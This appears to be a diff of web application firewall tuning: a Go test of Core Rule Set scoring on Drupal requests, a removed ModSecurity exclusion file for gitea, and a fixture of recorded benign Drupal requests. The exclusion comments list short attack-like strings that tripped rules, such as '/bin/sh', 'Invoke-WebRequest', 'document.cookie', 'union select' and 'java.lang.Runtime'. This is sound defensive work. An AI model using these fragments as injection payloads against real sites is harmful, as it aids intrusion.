[]string{"Content-Type: application/json"},
|
||||
}
|
||||
body := `{"name":"example","pass":"` + value + `"}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score >= drupalThreshold {
|
||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDrupalExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, passes := range []string{
|
||||
"/admin/content?title=python3",
|
||||
"/search/node?keys=python3",
|
||||
"/entity_reference_autocomplete/user/default/KEY?q=python3",
|
||||
"/jsonapi/node/article?filter%5Btitle%5D=python3",
|
||||
"/node/1/edit?destination=python3",
|
||||
} {
|
||||
if got := inspect(t, crs, get(passes)); got.Score >= drupalThreshold {
|
||||
t.Errorf("%s refused: %+v", passes, got)
|
||||
}
|
||||
}
|
||||
|
||||
for _, refused := range []string{
|
||||
"/?title=python3",
|
||||
"/admin/content?other=python3",
|
||||
"/?keys=python3",
|
||||
"/node/1?keys=python3",
|
||||
"/?q=python3",
|
||||
"/?filter%5Btitle%5D=python3",
|
||||
"/python3-notes?destination=python3",
|
||||
} {
|
||||
if got := inspect(t, crs, get(refused)); got.Score < drupalThreshold {
|
||||
t.Errorf("%s let through: %+v", refused, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
// The same field name in the query keeps the rules, in the query and
|
||||
// in the body.
|
||||
for _, sent := range []struct{ path, field string }{
|
||||
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=python3"},
|
||||
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=python3"},
|
||||
{drupalSignIn, "pass=python3"},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,283 +0,0 @@
|
||||
# The eighth change: on gitea's paths, some fields skip the rules that refused
|
||||
# ordinary gitea requests there. They are the fields where gitea sends a search,
|
||||
# a file name or a branch name. Each exclusion runs with the request, before the
|
||||
# rules it switches off, those of phase 1 included, so this file is loaded before
|
||||
# the Core Rule Set's rules. Each comment names a request the rule refused.
|
||||
|
||||
# gitea's searches of code, of issues and pull requests, and of commits send the
|
||||
# text searched for in q, which skips these rules there:
|
||||
# 930110: ../
|
||||
# 930120: .gitignore
|
||||
# 931100: http://127.0.0.1:8080
|
||||
# 932120: Invoke-WebRequest
|
||||
# 932130: $(pwd)
|
||||
# 932140: if (a == b) {
|
||||
# 932160: /bin/sh
|
||||
# 932235: `make check`
|
||||
# 932250: ls -la
|
||||
# 932260: python3
|
||||
# 932380: `whoami`
|
||||
# 933100: <?php echo
|
||||
# 933130: $_GET[
|
||||
# 933135: ${VAR}
|
||||
# 934100: process.env
|
||||
# 934110: http://127.0.0.1:8080
|
||||
# 934130: __proto__
|
||||
# 941100: <script>
|
||||
# 941110: <script>
|
||||
# 941160: <img src=
|
||||
# 941180: document.cookie
|
||||
# 941390: fetch(
|
||||
# 942100: SELECT * FROM users WHERE
|
||||
# 942140: information_schema
|
||||
# 942190: union select
|
||||
# 942230: if (a == b) {
|
||||
# 944100: java.lang.Runtime
|
||||
# 944110: java.lang.Runtime
|
||||
# 944130: java.lang.Runtime
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
||||
[^/]+/-/code|\
|
||||
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
||||
commits/(?:branch|tag|commit)/.+/search)|\
|
||||
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
|
||||
"id:900600,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932140;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941390;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942140;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
||||
|
||||
# A page opened from the results of one of those searches has the search's
|
||||
# address in Referer, which skips these rules then:
|
||||
# 941110: <script>
|
||||
# 941120: onClick={
|
||||
# 941160: <img src=
|
||||
# 942100: LIKE '%foo%'
|
||||
# 944100: java.lang.Runtime
|
||||
SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
|
||||
issues(?:/search)?|pulls|[^/]+/-/code|\
|
||||
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
||||
commits/(?:branch|tag|commit)/.+/search)|\
|
||||
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))\?" \
|
||||
"id:900601,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
|
||||
|
||||
# gitea's searches of repositories, users, branches, tags and packages send a
|
||||
# name in q, which skips these rules there:
|
||||
# 930120: .profile
|
||||
# 932120: powershell-scripts
|
||||
# 932260: python3-app
|
||||
# 944130: org.apache.commons.logging
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
|
||||
[^/]+/-/packages|[^/]+/[^/]+/(?:branches|tags)|api/v1/repos/search)$" \
|
||||
"id:900602,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
||||
|
||||
# gitea's other searches for a name send it in q too, which skips only these
|
||||
# rules there:
|
||||
# 930120: .profile
|
||||
# 932120: powershell-scripts
|
||||
# 932260: python3-app
|
||||
# The searches:
|
||||
# - the dashboard's filter of repositories;
|
||||
# - the repositories on a user's or an organisation's page, whose path has
|
||||
# one segment;
|
||||
# - the author filter of the issue and pull request lists;
|
||||
# - the lists of users and organisations, and the API's search for users.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+|repo/search|\
|
||||
explore/(?:users|organizations)|api/v1/users/search|\
|
||||
[^/]+/[^/]+/(?:issues|pulls)/posters)$" \
|
||||
"id:900603,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||
|
||||
# These requests name a file in the path, which skips these rules there:
|
||||
# 920500: notes.txt~
|
||||
# 934100: process.env.d.ts
|
||||
# 941130: docs/a b.xhtml
|
||||
# 944130: java.lang.String.md
|
||||
# The requests:
|
||||
# - a file's page, raw file and download;
|
||||
# - its blame, history, edit, preview and delete pages;
|
||||
# - the API's call for its contents;
|
||||
# - a release attachment's download.
|
||||
SecRule REQUEST_FILENAME \
|
||||
"@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/(?:src|raw|media|blame|commits|_edit|_preview|_delete|contents|releases/download)/" \
|
||||
"id:900610,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=920500;REQUEST_FILENAME,\
|
||||
ctl:ruleRemoveTargetById=934100;REQUEST_FILENAME,\
|
||||
ctl:ruleRemoveTargetById=941130;REQUEST_FILENAME,\
|
||||
ctl:ruleRemoveTargetById=944130;REQUEST_FILENAME"
|
||||
|
||||
# The requests below name a file in a query parameter. These rules refused
|
||||
# them for the file named:
|
||||
# 930120: .gitignore
|
||||
# 932120: install-script.sh
|
||||
# 932130: [draft].md
|
||||
# 932160: bin/docker-entrypoint
|
||||
# 932260: docker-compose.yml
|
||||
# 934100: process.env.d.ts
|
||||
# 934130: __proto__.json
|
||||
# 941130: index.xhtml
|
||||
# 941180: document.write.js
|
||||
# 942140: information_schema.sql
|
||||
# 944110: java/lang/Runtime.java
|
||||
# 944130: java.lang.String.md
|
||||
# Each request skips the rules that refused it. The fourth change already has
|
||||
# path and redirect_to skip 930120, 932160 and 932260 on every path.
|
||||
|
||||
# A file's commit graph, in file.
|
||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
|
||||
"id:900620,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:file,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:file,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:file,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:file,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:file,\
|
||||
ctl:ruleRemoveTargetById=934130;ARGS:file,\
|
||||
ctl:ruleRemoveTargetById=941130;ARGS:file,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:file,\
|
||||
ctl:ruleRemoveTargetById=942140;ARGS:file,\
|
||||
ctl:ruleRemoveTargetById=944110;ARGS:file,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:file"
|
||||
|
||||
# The API's list of a file's commits, in path.
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/commits$" \
|
||||
"id:900621,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=934130;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=941130;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=942140;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=944110;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:path"
|
||||
|
||||
# The API's call for the contents of several files, in body, as JSON.
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/file-contents$" \
|
||||
"id:900622,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:body,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:body,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:body,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:body,\
|
||||
ctl:ruleRemoveTargetById=934130;ARGS:body,\
|
||||
ctl:ruleRemoveTargetById=941130;ARGS:body,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:body,\
|
||||
ctl:ruleRemoveTargetById=942140;ARGS:body,\
|
||||
ctl:ruleRemoveTargetById=944110;ARGS:body,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:body"
|
||||
|
||||
# An issue opened from a template, in template.
|
||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/issues/new$" \
|
||||
"id:900623,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:template,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:template,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:template,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:template,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:template,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:template,\
|
||||
ctl:ruleRemoveTargetById=934130;ARGS:template,\
|
||||
ctl:ruleRemoveTargetById=941130;ARGS:template,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:template,\
|
||||
ctl:ruleRemoveTargetById=942140;ARGS:template,\
|
||||
ctl:ruleRemoveTargetById=944110;ARGS:template,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:template"
|
||||
|
||||
# The sign-in page on the way to a file's edit page, in redirect_to.
|
||||
SecRule REQUEST_FILENAME "@rx ^/user/login$" \
|
||||
"id:900624,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:redirect_to,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:redirect_to,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:redirect_to,\
|
||||
ctl:ruleRemoveTargetById=934130;ARGS:redirect_to,\
|
||||
ctl:ruleRemoveTargetById=941130;ARGS:redirect_to,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:redirect_to,\
|
||||
ctl:ruleRemoveTargetById=942140;ARGS:redirect_to,\
|
||||
ctl:ruleRemoveTargetById=944110;ARGS:redirect_to,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:redirect_to"
|
||||
|
||||
# An attachment uploaded through the API to a release, an issue or a comment,
|
||||
# in name.
|
||||
SecRule REQUEST_FILENAME \
|
||||
"@rx ^/api/v1/repos/[^/]+/[^/]+/(?:releases|issues|issues/comments)/[0-9]+/assets$" \
|
||||
"id:900625,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=934130;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=941130;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=942140;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:name"
|
||||
|
||||
# A diff's hidden lines, fetched when shown, in path.
|
||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/blob_excerpt/[0-9a-f]+$" \
|
||||
"id:900626,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=934130;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=941130;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=942140;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=944110;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:path"
|
||||
|
||||
# The requests below name a branch or tag in a query parameter, which skips
|
||||
# the list of command names (932260) there. It refused names such as
|
||||
# docker-build, python3-migration and feat/docker-support.
|
||||
|
||||
# Deleting or restoring a branch, in name.
|
||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/(?:delete|restore)$" \
|
||||
"id:900630,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:name"
|
||||
|
||||
# A release started from a tag, in tag.
|
||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/releases/new$" \
|
||||
"id:900631,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:tag"
|
||||
|
||||
# A branch protection rule opened for editing, in rule_name.
|
||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/branches/edit$" \
|
||||
"id:900632,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:rule_name"
|
||||
|
||||
# A directory listing's last commits, in refSubUrl.
|
||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
|
||||
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
|
||||
|
||||
# An artifact upload from actions/upload-artifact@v3 sends the header
|
||||
# Content-Range, which the Core Rule Set refused (920450).
|
||||
SecRule REQUEST_FILENAME \
|
||||
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
|
||||
"id:900640,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
|
||||
-504
@@ -1,504 +0,0 @@
|
||||
# Ordinary Drupal 11.4 requests that the Core Rule Set must let through at the
|
||||
# defaults. They were recorded from a site driven by a headless Chrome and an
|
||||
# API client. Each line is one request as JSON. Host names, passwords and
|
||||
# session cookies are invented.
|
||||
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/core/themes/olivero/fonts/metropolis/Metropolis-Regular.woff2", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/"], "body": ""}
|
||||
{"method": "GET", "target": "/core/themes/olivero/fonts/metropolis/Metropolis-Bold.woff2", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_lWnmNx7fODjwXZN0k-hinSYDGBOLz2ZYZzrxc1QYUZU.css?delta=0&language=en&theme=olivero&include=eJxtyUEOgCAMBdELgZypSEMaC59QxHB7E-PChZtZzIPK5I6QFZHU21gqNTu8u9KUTENQfetSqK8_Mt5R0xcbLu6cfFw-KvbD2bLBJUQydlP4svB0K0in8g33sTSr", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_nwzDa--ZTKor2DnrN42UKJfPZoODz_psWl5O8HnrUdg.css?delta=1&language=en&theme=olivero&include=eJxtyUEOgCAMBdELgZypSEMaC59QxHB7E-PChZtZzIPK5I6QFZHU21gqNTu8u9KUTENQfetSqK8_Mt5R0xcbLu6cfFw-KvbD2bLBJUQydlP4svB0K0in8g33sTSr", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_e1nubGx6j-CohkDnzUhS1xlK-HQ91BkCHHZe4AcOWIY.js?scope=footer&delta=0&language=en&theme=olivero&include=eJzLz8ksSy3K10_PyU9KzNEtLqnMycxL18mHCucllmWmJ5Zk5ufpFhRl5iYWVQIA53wTlA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/"], "body": ""}
|
||||
{"method": "GET", "target": "/core/themes/olivero/favicon.ico", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/"], "body": ""}
|
||||
{"method": "GET", "target": "/node", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_nwzDa--ZTKor2DnrN42UKJfPZoODz_psWl5O8HnrUdg.css?delta=1&language=en&theme=olivero&include=eJxtyTEOwCAIAMAPaXwTKjGkCAaMDb_v0qFD1ztlOmhaBmsFzr6DSUbSlwUODdikkpfRBIu_cmwq_ZtLbzTsuUaurO1KHr5xlgqOD1NaLUA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/search"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_P3HoRIw1akOqumfw52UfPdxVjrxJAO2SSqPwOEc_8DQ.css?delta=0&language=en&theme=olivero&include=eJxtyTEOwCAIAMAPaXwTKjGkCAaMDb_v0qFD1ztlOmhaBmsFzr6DSUbSlwUODdikkpfRBIu_cmwq_ZtLbzTsuUaurO1KHr5xlgqOD1NaLUA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/search"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_P3HoRIw1akOqumfw52UfPdxVjrxJAO2SSqPwOEc_8DQ.css?delta=0&language=en&theme=olivero&include=eJxtycEKwCAIANAfmvRNWhIy08ho9Pe7jLHDru-5yuLhqaoTKsTcKlYPf9hwScUpbtCHNBz7r4KzW_lm94sHF6ANpJ7PNyZSHLFjckuEwTfCXjJF", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_nlF7hWQsRVrlEPbc96OMGevOv3MrfMiKMVvcv6_6Joc.css?delta=1&language=en&theme=olivero&include=eJxtycEKwCAIANAfmvRNWhIy08ho9Pe7jLHDru-5yuLhqaoTKsTcKlYPf9hwScUpbtCHNBz7r4KzW_lm94sHF6ANpJ7PNyZSHLFjckuEwTfCXjJF", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_aFq4-wv4d0gPBP9K98TVdWfWzXoJLtTyXg_BN3tNojw.js?scope=footer&delta=0&language=en&theme=olivero&include=eJzLz8ksSy3K10_PyU9KzNEtLqnMycxL18mHCucllmWmJ5Zk5ufpFhRl5iYWVcKlShKTigEIZxiZ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login"], "body": ""}
|
||||
{"method": "GET", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/no-such-page", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/rss.xml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/favicon.ico", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/rss.xml"], "body": ""}
|
||||
{"method": "GET", "target": "/user/login?destination=/node/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
